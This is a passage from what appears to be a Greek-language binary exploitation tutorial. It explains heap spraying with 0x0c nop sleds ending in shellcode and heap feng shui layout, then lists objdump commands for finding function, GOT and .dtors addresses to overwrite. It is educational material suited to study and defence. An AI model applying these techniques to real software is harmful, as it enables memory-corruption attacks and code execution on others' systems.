Για παράδειγμα, θα πρέπει να οριστεί το size σε 1552 ώστε 1552 - 1544 = 8 < MINSIZE (η αφαίρεση δεν μπορεί να είναι αρνητική επειδή συγκρίνεται με έναν unsigned)
Επιπλέον, έχει εισαχθεί ένα patch για να γίνει ακόμη πιο περίπλοκο.
Ψεκασμός Heap
Βασικά αποτελείται από την κράτηση της μέγιστης δυνατής μνήμης για heaps και την γέμισή τους με ένα στρώμα nops που τελειώνει με μια shellcode. Επιπλέον, ως στρώμα χρησιμοποιείται το 0x0c. Έτσι, θα προσπαθήσουμε να πηδήξουμε στη διεύθυνση 0x0c0c0c0c, έτσι αν κάποια διεύθυνση που θα υπεργραφεί είναι αυτή που θα κληθεί με αυτό το στρώμα, τότε θα πηδήξει εκεί. Βασικά η τακτική είναι να κρατήσουμε το μέγιστο δυνατό για να δούμε αν υπεργράφεται κάποιος δείκτης και να πηδήξουμε στο 0x0c0c0c0c ελπίζοντας ότι εκεί θα υπάρχουν nops.
Σχεδιασμός Heap Feng
Αποτελείται από την στερέωση της μνήμης με την κράτηση και απελευθέρωση κομματιών μνήμης έτσι ώστε να υπάρχουν κρατημένα κομμάτια μεταξύ ελεύθερων κομματιών. Το buffer που θα υπερχειλιστεί θα βρίσκεται σε ένα από αυτά τα κομμάτια.
objdump -d εκτελέσιμο —> Διασυναρμολόγηση συναρτήσεων
objdump -d ./ΠΡΟΓΡΑΜΜΑ | grep ΣΥΝΑΡΤΗΣΗ —> Λήψη διεύθυνσης συνάρτησης
objdump -d -Mintel ./shellcodeout —> Για να δούμε αν πράγματι είναι η shellcode μας και να βγάλουμε τα OpCodes
objdump -t ./exec | grep varBss —> Πίνακας συμβόλων, για να βγάλουμε τη διεύθυνση μεταβλητών και συναρτήσεων
objdump -TR ./exec | grep exit(func lib) —> Για να βγάλουμε τη διεύθυνση συναρτήσεων βιβλιοθηκών (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Βγάζει τη διεύθυνση του puts που θα υπεργραφεί στο GOT
objdump -D ./exec —>